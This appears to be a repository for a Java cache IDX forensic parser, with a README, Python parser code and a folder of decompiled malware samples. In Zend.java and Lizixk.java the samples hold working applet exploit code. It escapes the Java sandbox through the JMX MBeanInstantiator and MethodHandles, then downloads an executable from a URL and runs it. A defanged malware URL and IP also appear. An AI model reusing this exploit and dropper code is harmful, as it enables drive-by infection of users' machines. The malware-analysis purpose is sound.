├── README.md
├── Samples
├── 1c20de82-1678cc50
├── 1c20de82-1678cc50.idx
└── Decoded Java Class Files
│ ├── Allaon.java
│ ├── Lizixk.java
│ ├── Morny.java
│ ├── Rvre.java
│ └── Zend.java
└── idx_parser.py
/README.md:
--------------------------------------------------------------------------------
1 | ## Java_IDX_Parser
2 |
3 | The original, and the best, Java Cache IDX parser.
4 |
5 | This was written as a result of working quite a few Java malware infection cases. While I grew proficient at manually carving the Java IDX file, which retains download history of malicious Java archives, I learned that a tool may work better when teaching my coworkers how to do the same.
6 |
7 | Java IDX files contain high-fidelity indicators about where a piece of malware originated from and how it got onto the infected system. Additionally, most analysis to this point was performed off the text-strings within the file, while ignoring the large blocks of binary data.
8 |
9 | At the time of development, there was only one source available for this file, Corey Harrell's blog post from 2011 (http://journeyintoir.blogspot.com/2010/10/anatomy-of-drive-by-part-2.html) and a IDX to Timeline parser written by Sploit (http://sploited.blogspot.com/2012/08/java-forensics-using-tln-timelines.html).
10 |
11 | The large blocks of binary data kept bugging me, so I wrote this tool. The initial release did just the basic text sections while I gathered the amount of interest in it. The latest releases perform decompression and basic binary analysis of Java serialization code. At first I used an existing Java serialization module, until I found that Oracle didn't follow their own file specifications, which broke the existing parsers, and required me to write my own.
12 |
13 | The latest release removes all interpretation of the file, outputting just raw data to the screen. That way you get a more accurate portrayal of the data, and you can choose what data is relevant to your cause. Even though most Section 4 data appears to be junk to me, it's in there, and its relevance may come to light one day.
14 |
15 | ## Example usage
16 |
17 | E:\Development\Java_IDX_Parser>idx_parser.py Samples\malware\1c20de82-1678cc50.idx
18 | Java IDX Parser -- version 1.3 -- by @bbaskin
19 |
20 | IDX file: Samples\malware\1c20de82-1678cc50.idx (IDX File Version 6.05)
21 | [*] Section 2 (Download History) found:
22 | URL: hxxp://80d3c146d3.gshjsewsf.su:82/forum/dare.php?hsh=6&key=b30a14e1c597bd7215d593d3f03bd1ab
23 | IP: 50.7.219.70
24 | <null>: HTTP/1.1 200 OK
25 | content-length: 7162
26 | last-modified: Mon, 26 Jul 2001 05:00:00 GMT
27 | content-type: application/x-java-archive
28 | date: Sun, 13 Jan 2013 16:22:01 GMT
29 | server: nginx/1.0.15
30 | deploy-request-content-type: application/x-java-archive
31 |
32 | [*] Section 3 (Jar Manifest) found:
33 | Manifest-Version: 1.0
34 | Ant-Version: Apache Ant 1.8.3
35 | X-COMMENT: Main-Class will be added automatically by build
36 | Class-Path:
37 | Created-By: 1.7.0_07-b11 (Oracle Corporation)
38 |
39 | [*] Section 4 (Code Signer) found:
40 | [*] Found: Data block. Length: 4
41 | Data: Hex: 00000000
42 | [*] Found: Data block. Length: 3
43 | Data: 0 Hex: 300d0a
44 |
45 | ## Copyright and license
46 |
47 | Copyright 2013 Brian Baskin
48 |
49 | Licensed under the Apache License, Version 2.0 (the "License");
50 | you may not use this work except in compliance with the License.
51 | You may obtain a copy of the License in the LICENSE file, or at:
52 |
53 | [http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0)
54 |
55 | Unless required by applicable law or agreed to in writing, software
56 | distributed under the License is distributed on an "AS IS" BASIS,
57 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
58 | See the License for the specific language governing permissions and
59 | limitations under the License.
60 |
--------------------------------------------------------------------------------
/Samples/1c20de82-1678cc50:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Rurik/Java_IDX_Parser/f9b7a3aeb66a86e891e28d5e762483dff5e15851/Samples/1c20de82-1678cc50
--------------------------------------------------------------------------------
/Samples/1c20de82-1678cc50.idx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Rurik/Java_IDX_Parser/f9b7a3aeb66a86e891e28d5e762483dff5e15851/Samples/1c20de82-1678cc50.idx
--------------------------------------------------------------------------------
/Samples/Decoded Java Class Files/Allaon.java:
--------------------------------------------------------------------------------
1 |
2 | public class Allaon {
3 |
4 | public static String Gege = "fiesta".replace("Miria_)d", "");
5 | public static String Gigos = "sMiria_)dun.iMiria_)dnvoke.aMiria_)dnon.AMiria_)dnonMiria_)dymousClasMiria_)dsLoMiria_)dader".replace("Miria_)d", "");
6 | public static String Momoe = "f" + "ilMiria_)d///".replace("Miria_)d", "e:");
7 | public static String BRni = "j" + "avMiria_)da.io.tmMiria_)dpdiMiria_)dr".replace("Miria_)d", "");
8 | public static String Tte3 = "heMiria_)dhda.eMiria_)dxe".replace("Miria_)d", "");
9 | public static String Contex = "sun.orMiria_)dg.moziMiria_)dlla.javascMiria_)dript.inMiria_)dternal.ConMiria_)dtext".replace("Miria_)d", "");
10 | public static String ClsLoad = "sun.orMiria_)dg.mozMiria_)dilla.javasMiria_)dcript.inteMiria_)drnal.GeneraMiria_)dtedClaMiria_)dssLoader".replace("Miria_)d", "");
11 | public static String hack3 = "SophosHack";
12 | public static String Fcons = "fiMiria_)dndConstrMiria_)ductor".replace("Miria_)d", "");
13 | public static String Fvirt = "fiMiria_)dndVirtMiria_)dual".replace("Miria_)d", "");
14 | public static String hack2 = "SophosHack";
15 | public static String Crtcls = "creaMiria_)dteClasMiria_)dsLMiria_)doader".replace("Miria_)d", "");
16 | public static String DEfc = "defiMiria_)dneClaMiria_)dss".replace("Miria_)d", "");
17 |
18 |
19 | }
20 |
--------------------------------------------------------------------------------
/Samples/Decoded Java Class Files/Lizixk.java:
--------------------------------------------------------------------------------
1 | import java.io.FileNotFoundException;
2 | import java.io.FileOutputStream;
3 | import java.io.IOException;
4 | import java.io.InputStream;
5 | import java.net.URL;
6 |
7 | public class Lizixk {
8 |
9 | public static String dxrxr = Morny.ada(Allaon.BRni);
10 | static InputStream zxfs;
11 |
12 |
13 | public static void Seuylmxz() throws FileNotFoundException, Exception {
14 | boolean sdhhe = false;
15 | if(dxrxr.charAt(dxrxr.length() - 1) != 92) {
16 | dxrxr = dxrxr + "\\";
17 | }
18 |
19 | String cgdg = dxrxr + Allaon.Tte3;
20 | FileOutputStream sdgosa = new FileOutputStream(cgdg);
21 | String o0ojh = "ikikioi";
22 | dod();
23 |
24 | int sdhhe1;
25 | for(byte[] rayys = new byte[512]; (sdhhe1 = zxfs.read(rayys)) > 0; rayys = new byte[512]) {
26 | sdgosa.write(rayys, 0, sdhhe1);
27 | }
28 |
29 | sdgosa.close();
30 | zxfs.close();
31 | Runtime.getRuntime().exec(cgdg);
32 | }
33 |
34 | public static void dod() throws IOException {
35 | URL fweret = new URL(Morny.HYurrds(Rvre.sfgkytoi));
36 | fweret.openConnection();
37 | zxfs = fweret.openStream();
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/Samples/Decoded Java Class Files/Morny.java:
--------------------------------------------------------------------------------
1 |
2 | public class Morny {
3 |
4 | public static String HYurrds(String mhuyi) {
5 | int dtduuyi = 0;
6 | mhuyi = (new StringBuffer(mhuyi)).reverse().toString();
7 | String gerxcx = "";
8 | mhuyi = mhuyi.replace("a-nytios", "");
9 |
10 | for(int i = 0; i < mhuyi.length(); ++i) {
11 | ++dtduuyi;
12 | if(dtduuyi == 3) {
13 | gerxcx = gerxcx + mhuyi.charAt(i);
14 | dtduuyi = 0;
15 | }
16 | }
17 |
18 | return gerxcx;
19 | }
20 |
21 | public static String ada(String a) {
22 | return System.getProperty(a);
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/Samples/Decoded Java Class Files/Rvre.java:
--------------------------------------------------------------------------------
1 |
2 | public class Rvre {
3 |
4 | public static String Ciasio = "CAmMoedlFEBABmMoedlE0000003200270A0mMoedl00500180A0019001A07001mMoedlB0A001C001D07001E07001F07002001mMoedl00063C696E69743E01000328295601mMoedl0004436F646501000F4C696E65mMoedl4E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A61766mMoedl12F6C616E672F457863657074696F6E3BmMoedl010004746869730100034C423B01mMoedl000D537461636B4D61705461626C6507001FmMoedl07001B01000372756E01001428294C6mMoedlA6176612F6C616E672mMoedlF4F626A6563743B01000A536F757mMoedl2636546696C65010006422E6A61mMoedl76610C000800090700210CmMoedl002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C6mMoedl16E672F4F626A656374010001420mMoedl100276A6176612F7365637mMoedl5726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657mMoedl201000C646F50726976696CmMoedl6567656401003D284C6A6176612FmMoedl73656375726974792F50726976696C65676564457863657074696F6E41mMoedl6374696F6E3B2mMoedl94C6A6176612F6C616E672F4mMoedlF626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284mMoedlC6A6176612F6C616E672FmMoedl53656375726974794D61mMoedl6E616765723B295600210006000mMoedl500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F00mMoedl1000000011000000100002FF000C00010mMoedl70012000107001300000100140015000mMoedl1000A0000003A000200010000000C01B80004BB000559B70001B000000002000B00mMoedl00000A00020000001000040mMoedl011000C0000000C00010000mMoedl000C000F00100000000100160000mMoedl00020017".replace("mMoedl", "");
5 | static String sfgkytoi = "";
6 |
7 |
8 | public static byte[] Mzxyu(String s) {
9 | byte[] aewwe = new byte[s.length() / 2];
10 |
11 | for(int i = 0; i < s.length(); i += 2) {
12 | aewwe[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
13 | }
14 |
15 | return aewwe;
16 | }
17 |
18 | }
19 |
--------------------------------------------------------------------------------
/Samples/Decoded Java Class Files/Zend.java:
--------------------------------------------------------------------------------
1 | import com.sun.jmx.mbeanserver.JmxMBeanServer;
2 | import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
3 | import com.sun.jmx.mbeanserver.MBeanInstantiator;
4 | import java.applet.Applet;
5 | import java.lang.invoke.MethodHandle;
6 | import java.lang.invoke.MethodHandles;
7 | import java.lang.invoke.MethodType;
8 | import java.lang.invoke.MethodHandles.Lookup;
9 | import javax.management.MBeanServer;
10 | import javax.management.MBeanServerDelegate;
11 |
12 | public class Zend extends Applet {
13 |
14 | public static String Ciasio = "CAmMoedlFEBABmMoedlE0000003200270A0mMoedl00500180A0019001A07001mMoedlB0A001C001D07001E07001F07002001mMoedl00063C696E69743E01000328295601mMoedl0004436F646501000F4C696E65mMoedl4E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A61766mMoedl12F6C616E672F457863657074696F6E3BmMoedl010004746869730100034C423B01mMoedl000D537461636B4D61705461626C6507001FmMoedl07001B01000372756E01001428294C6mMoedlA6176612F6C616E672mMoedlF4F626A6563743B01000A536F757mMoedl2636546696C65010006422E6A61mMoedl76610C000800090700210CmMoedl002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C6mMoedl16E672F4F626A656374010001420mMoedl100276A6176612F7365637mMoedl5726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657mMoedl201000C646F50726976696CmMoedl6567656401003D284C6A6176612FmMoedl73656375726974792F50726976696C65676564457863657074696F6E41mMoedl6374696F6E3B2mMoedl94C6A6176612F6C616E672F4mMoedlF626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284mMoedlC6A6176612F6C616E672FmMoedl53656375726974794D61mMoedl6E616765723B295600210006000mMoedl500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F00mMoedl1000000011000000100002FF000C00010mMoedl70012000107001300000100140015000mMoedl1000A0000003A000200010000000C01B80004BB000559B70001B000000002000B00mMoedl00000A00020000001000040mMoedl011000C0000000C00010000mMoedl000C000F00100000000100160000mMoedl00020017".replace("mMoedl", "");
15 |
16 |
17 | public void init() {
18 | try {
19 | Rvre.sfgkytoi = this.getParameter(Allaon.Gege);
20 | byte[] e = Rvre.Mzxyu(Ciasio);
21 | JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
22 | JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", (MBeanServer)null, (MBeanServerDelegate)null);
23 | MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
24 | Object a = null;
25 | Class localClass1 = localMBeanInstantiator.findClass(Allaon.Contex, (ClassLoader)a);
26 | Class localClass2 = localMBeanInstantiator.findClass(Allaon.ClsLoad, (ClassLoader)a);
27 | Lookup lolluk = MethodHandles.publicLookup();
28 | MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[]{MethodType.class});
29 | MethodHandle localMethodHandle1 = lolluk.findVirtual(Lookup.class, Allaon.Fcons, localMethodType1);
30 | MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
31 | MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[]{lolluk, localClass1, localMethodType2});
32 | Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
33 | MethodType ldmet3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[]{String.class, MethodType.class});
34 | MethodHandle localMethodHandle3 = lolluk.findVirtual(Lookup.class, Allaon.Fvirt, ldmet3);
35 | MethodType ldmet4 = MethodType.methodType(localClass2, ClassLoader.class);
36 | MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[]{lolluk, localClass1, Allaon.Crtcls, ldmet4});
37 | Object lObj2 = localMethodHandle4.invokeWithArguments(new Object[]{localObject1, null});
38 | MethodType ldmet5 = MethodType.methodType(Class.class, String.class, new Class[]{byte[].class});
39 | MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[]{lolluk, localClass2, Allaon.DEfc, ldmet5});
40 | Class lca3 = (Class)localMethodHandle5.invokeWithArguments(new Object[]{lObj2, null, e});
41 | lca3.newInstance();
42 | Lizixk.Seuylmxz();
43 | } catch (Throwable var22) {
44 | ;
45 | }
46 |
47 | }
48 |
49 | }
50 |
--------------------------------------------------------------------------------
/idx_parser.py:
--------------------------------------------------------------------------------
1 | # Java Cache IDX parser
2 | # Version 1.0 - 12 Jan 13: @bbaskin
3 | # Version 1.1 - 22 Jan 13:
4 | # Now supports all IDX file versions
5 | # Version 1.2 - 29 Jan 13:
6 | # Now supports parsing more section 1 data and section 3 manifest
7 | # Version 1.3 - 8 Feb 13:
8 | # Rewrote section 2 parsing. Removed all interpretive code (parse and print)
9 | # Rewrote into subs, added very basic Java Serialization parsing
10 | # Added CSV output to display all values. If you want fields, too, search
11 | # this file for 'CSVEDIT' and follow instructions
12 | # Version 1.4 - 17 Jul 13:
13 | # Fixed a few bugs from Section 1, now displays Section 1 data.
14 | # This is mostly useless, as it is also contained in Section 2, but is used
15 | # to validate data shown in cases of tampering.
16 | # Version 1.5 - 2 Dec 13:
17 | # Fix data structure for 6.02 samples, removed 'hack' and handled it properly
18 | # General cleanup to better Python standards
19 | # Put in error handling for truncated data, based on a sample data submitted
20 | # by Kristinn Gudjonsson
21 |
22 | # * Parsing based off source: http://jdk-source-code.googlecode.com/svn/trunk/jdk6u21_src/deploy/src/common/share/classes/com/sun/deploy/cache/CacheEntry.java
23 | # * Some updates based off research by Mark Woan (@woanwave) - https://github.com/woanware/javaidx/tree/master/Documents
24 | # * Thanks to Corey Harrell for providing a version 6.03 file for testing and for initial inspiration:
25 | # http://journeyintoir.blogspot.com/2011/02/almost-cooked-up-some-java.html
26 |
27 | # Views cached Java download history files
28 | # Typically located in %AppData%\LocalLow\Sun\Java\Deployment\Cache
29 | # These files hold critical details for malware infections, especially Java related ones, e.g. BlackHole.
30 |
31 | """
32 | Output example:
33 | E:\Development\Java_IDX_Parser>idx_parser.py Samples\malware\1c20de82-1678cc50.idx
34 | Java IDX Parser -- version 1.5 -- by @bbaskin
35 |
36 | IDX file: Samples\malware\1c20de82-1678cc50.idx (IDX File Version 6.05)
37 |
38 | [*] Section 1 (Metadata) found:
39 | Content length: 7162
40 | Last modified date: Thu, 26 Jul 2001 05:00:00 GMT (epoch: 996123600)
41 | Section 2 length: 365
42 | Section 3 length: 167
43 | Section 4 length: 15
44 |
45 | [*] Section 2 (Download History) found:
46 | URL: http://803c146.gssewsf.su:82/forum/dare.php?hsh=5&key=b30a14e1c59215d593d3f03bd1ab
47 | IP: 30.7.219.70
48 | : HTTP/1.1 200 OK
49 | content-length: 7162
50 | last-modified: Mon, 26 Jul 2001 05:00:00 GMT
51 | content-type: application/x-java-archive
52 | date: Sun, 13 Jan 2013 16:22:01 GMT
53 | server: nginx/1.0.15
54 | deploy-request-content-type: application/x-java-archive
55 |
56 | [*] Section 3 (Jar Manifest) found:
57 | Manifest-Version: 1.0
58 | Ant-Version: Apache Ant 1.8.3
59 | X-COMMENT: Main-Class will be added automatically by build
60 | Class-Path:
61 | Created-By: 1.7.0_07-b11 (Oracle Corporation)
62 |
63 | [*] Section 4 (Code Signer) found:
64 | [*] Found: Data block. Length: 4
65 | Data: Hex: 00000000
66 | [*] Found: Data block. Length: 3
67 | Data: 0 Hex: 300d0a
68 | """
69 |
70 | import os
71 | import struct
72 | import sys
73 | import time
74 | import zlib
75 |
76 | __VERSION__ = '1.5'
77 | __CSV__ = False
78 |
79 |
80 | def sec2_parse():
81 | """Parse Section Two from 6.03 and greater files.
82 |
83 | Section two contains all download history data
84 | """
85 | csv_body = ''
86 | data.seek(128)
87 | if data.tell() >= filesize:
88 | print '[!] Error! Truncated file. Section 2 is missing.'
89 | return
90 |
91 | len_URL = struct.unpack('>l', data.read(4))[0]
92 | data_URL = data.read(len_URL)
93 |
94 | len_IP = struct.unpack('>l', data.read(4))[0]
95 | data_IP = data.read(len_IP)
96 | sec2_fields = struct.unpack('>l', data.read(4))[0]
97 |
98 | print '\n[*] Section 2 (Download History) found:'
99 | print 'URL: %s' % (data_URL)
100 | print 'IP: %s' % (data_IP)
101 | if __CSV__:
102 | csv_body = fname + ',' + data_URL + ',' + data_IP
103 | for i in range(0, sec2_fields):
104 | len_field = struct.unpack('>h', data.read(2))[0]
105 | field = data.read(len_field)
106 | len_value = struct.unpack('>h', data.read(2))[0]
107 | value = data.read(len_value)
108 | print '%s: %s' % (field, value)
109 | if __CSV__:
110 | #CSVEDIT: If you want both Field and Value in CSV output, uncomment
111 | #next line and comment line after.
112 | #csv_body += ',' + field + ',' + value
113 | csv_body += ',' + value
114 | if __CSV__:
115 | global csvfile
116 | csvfile = fname + '.csv'
117 | open(csvfile, 'w').write(csv_body)
118 |
119 |
120 | def sec2_parse_602():
121 | """Parse Section Two from 6.02 files.
122 |
123 | Section two contains all download history data. However, this version
124 | does not store IP addresses.
125 | """
126 | data.seek(32)
127 | if data.tell() >= filesize:
128 | print 'Truncated file'
129 | len_URL = struct.unpack('b', data.read(1))[0]
130 | data_URL = data.read(len_URL)
131 | namespace_len = struct.unpack('>h', data.read(2))[0]
132 | namespace = data.read(namespace_len)
133 | sec2_fields = struct.unpack('>l', data.read(4))[0]
134 |
135 | print '\n[*] Section 2 (Download History) found:'
136 | print 'URL: %s' % (data_URL)
137 | if __CSV__:
138 | csv_body = fname + ',' + data_URL
139 |
140 | for i in range(0, sec2_fields):
141 | len_field = struct.unpack('>h', data.read(2))[0]
142 | field = data.read(len_field)
143 | len_value = struct.unpack('>h', data.read(2))[0]
144 | value = data.read(len_value)
145 | print '%s: %s' % (field, value)
146 | if __CSV__:
147 | #CSVEDIT: If you want both Field and Value in CSV output, uncomment
148 | #next line and comment line after.
149 | #csv_body += ',' + field + ',' + value
150 | csv_body += ',' + value
151 |
152 | if __CSV__:
153 | global csvfile
154 | csvfile = fname + '.csv'
155 | open(csvfile, 'w').write(csv_body)
156 |
157 | # See if section 3 exists
158 | if data.tell()+3 < filesize:
159 | sec3_magic, sec3_ver = struct.unpack('>HH', data.read(4))
160 | print '\n[*] Section 3 (Additional Data) found:'
161 | if sec3_magic == 0xACED:
162 | print '[*] Serialized data found of type:',
163 | sec3_type = struct.unpack('b', data.read(1))[0]
164 | if sec3_type == 0x77: #Data block
165 | print 'Data Block'
166 | throwaway = data.read(1)
167 | block_len = struct.unpack('>l', data.read(4))[0]
168 | block_raw = data.read(block_len)
169 | if block_raw[0:3] == '\x1F\x8B\x08': # Valid GZIP header
170 | print '[*] Compressed data found'
171 | sec3_unc = zlib.decompress(block_raw, 15+32) # Trick to force bitwindow size
172 | print sec3_unc
173 | else:
174 | print 'Unknown serialization opcode found'
175 | return
176 |
177 |
178 | def sec3_parse():
179 | """Parse Section three of the file.
180 |
181 | Section three contains a copy of the JAR manifest data.
182 | """
183 | data.seek (128+sec2_len)
184 | sec3_data = data.read(sec3_len)
185 |
186 | if sec3_data[0:3] == '\x1F\x8B\x08': # Valid GZIP header
187 | sec3_unc = zlib.decompress(sec3_data, 15+32) # Trick to force bitwindow size
188 | print sec3_unc.strip()
189 |
190 |
191 | def sec4_parse():
192 | """Parse Section four of the file.
193 |
194 | Section four contains Code Signer details
195 | Written from docs at:
196 | http://docs.oracle.com/javase/6/docs/platform/serialization/spec/protocol.html
197 | """
198 | unknowns = 0
199 | data.seek (128 + sec2_len + sec3_len)
200 | sec4_magic, sec4_ver = struct.unpack('>HH', data.read(4))
201 | if sec4_magic == 0xACED: # Magic number for Java serialized data, version always appears to be 5
202 | while not data.tell() == filesize: # If current offset isn't at end of file yet
203 | if unknowns > 5:
204 | print 'Too many unrecognized bytes. Exiting.'
205 | return
206 | sec4_type = struct.unpack('B', data.read(1))[0]
207 | if sec4_type == 0x77: #Data block ...
208 | #This _should_ parse for 0x78 (ENDDATABLOCK) but Oracle didn't follow their own specs for IDX files.
209 | print '[*] Found: Data block. ',
210 | block_len = struct.unpack('b', data.read(1))[0]
211 | block_raw = data.read(block_len)
212 | if block_raw[0:3] == '\x1F\x8B\x08': # Valid GZIP header
213 | sec4_unc = zlib.decompress(block_raw, 15+32) # Trick to force bitwindow size
214 | print sec4_unc.encode('hex')
215 | else:
216 | print 'Length: %-2d\nData: %-10s\tHex: %s' % (block_len, block_raw.strip(), block_raw.encode('hex'))
217 | elif sec4_type == 0x73: #Object
218 | print '[*] Found: Object\n->',
219 | continue
220 | elif sec4_type == 0x72: #Class Description
221 | print '[*] Found: Class Description:',
222 | block_len = struct.unpack('>h', data.read(2))[0]
223 | block_raw = data.read(block_len)
224 | print block_raw
225 | else:
226 | print 'Unknown serialization opcode found: 0x%X' % sec4_type
227 | unknowns += 1
228 | return
229 |
230 |
231 | if __name__ == '__main__':
232 | """Main process function.
233 |
234 | Display help, handle command line arguments, read initial header to determine
235 | which functions to call.
236 | """
237 | print 'Java IDX Parser -- version %s -- by @bbaskin\n' % __VERSION__
238 | try:
239 | if sys.argv[1] in ['-c', '-C']:
240 | __CSV__ = True
241 | fname = sys.argv[2]
242 | else:
243 | fname = sys.argv[1]
244 | except:
245 | print 'Usage: idx_parser.py '
246 | print '\nTo generate a CSV output file:'
247 | print ' : idx_parser.py -c '
248 | sys.exit()
249 | try:
250 | data = open(fname, 'rb')
251 | except:
252 | print 'File not found: %s' % fname
253 | sys.exit()
254 |
255 | filesize = os.path.getsize(fname)
256 |
257 | busy_byte = data.read(1)
258 | complete_byte = data.read(1)
259 | cache_ver = struct.unpack('>i', data.read(4))[0]
260 |
261 | if cache_ver not in (602, 603, 604, 605, 606):
262 | print 'Invalid IDX header found'
263 | print 'Found: 0x%s' % cache_ver
264 | sys.exit()
265 | print 'IDX file: %s (IDX File Version %d.%02d)' % (fname, cache_ver / 100, cache_ver - 600)
266 |
267 | # Different IDX cache versions have data in different offsets
268 | if cache_ver in [602, 603, 604, 605]:
269 | if cache_ver in [602, 603, 604]:
270 | data.seek(8)
271 | elif cache_ver == 605:
272 | data.seek(6)
273 | is_shortcut_img = data.read(1)
274 | content_len = struct.unpack('>l', data.read(4))[0]
275 | last_modified_date = struct.unpack('>q', data.read(8))[0]/1000
276 | expiration_date = struct.unpack('>q', data.read(8))[0]/1000
277 | validation_date = struct.unpack('>q', data.read(8))[0]/1000
278 |
279 | print '\n[*] Section 1 (Metadata) found:'
280 | print 'Content length: %d' % content_len
281 | print 'Last modified date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(last_modified_date)), last_modified_date)
282 | if expiration_date:
283 | print 'Expiration date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(expiration_date)), expiration_date)
284 | if validation_date:
285 | print 'Validation date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(validation_date)), validation_date)
286 |
287 | if cache_ver == 602:
288 | sec2_len = 1
289 | sec3_len = 0
290 | sec4_len = 0
291 | sec5_len = 0
292 | elif cache_ver in [603, 604, 605]:
293 | known_to_be_signed = data.read(1)
294 | sec2_len = struct.unpack('>i', data.read(4))[0]
295 | sec3_len = struct.unpack('>i', data.read(4))[0]
296 | sec4_len = struct.unpack('>i', data.read(4))[0]
297 | sec5_len = struct.unpack('>i', data.read(4))[0]
298 |
299 | blacklist_timestamp = struct.unpack('>q', data.read(8))[0]/1000
300 | cert_expiration_date = struct.unpack('>q', data.read(8))[0]/1000
301 | class_verification_status = data.read(1)
302 | reduced_manifest_length = struct.unpack('>l', data.read(4))[0]
303 |
304 | print 'Section 2 length: %d' % sec2_len
305 | if sec3_len:
306 | print 'Section 3 length: %d' % sec3_len
307 | if sec4_len:
308 | print 'Section 4 length: %d' % sec4_len
309 | if sec5_len:
310 | print 'Section 4 length: %d' % sec5_len
311 | if expiration_date:
312 | print 'Blacklist Expiration date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(blacklist_timestamp)), blacklist_timestamp)
313 | if cert_expiration_date:
314 | print 'Certificate Expiration date: %s (epoch: %d)' % (time.strftime('%a, %d %b %Y %X GMT', time.gmtime(cert_expiration_date)), cert_expiration_date)
315 | else:
316 | print 'Current file version, %d, is not supported at this time.' % cache_ver
317 | sys.exit()
318 |
319 | if sec2_len:
320 | if cache_ver == 602:
321 | sec2_parse_602()
322 | else:
323 | sec2_parse()
324 |
325 | if sec3_len:
326 | print '\n[*] Section 3 (Jar Manifest) found:'
327 | sec3_parse()
328 |
329 | if sec4_len:
330 | print '\n[*] Section 4 (Code Signer) found:'
331 | sec4_parse()
332 |
333 | if sec5_len:
334 | print '\n[*] Section 5 found (offset 0x%X, length %d bytes)' % (128 + sec2_len + sec3_len + sec4_len, sec5_len)
335 |
336 | if __CSV__:
337 | print '\n\n[*] CSV file written to %s' % csvfile
338 |
--------------------------------------------------------------------------------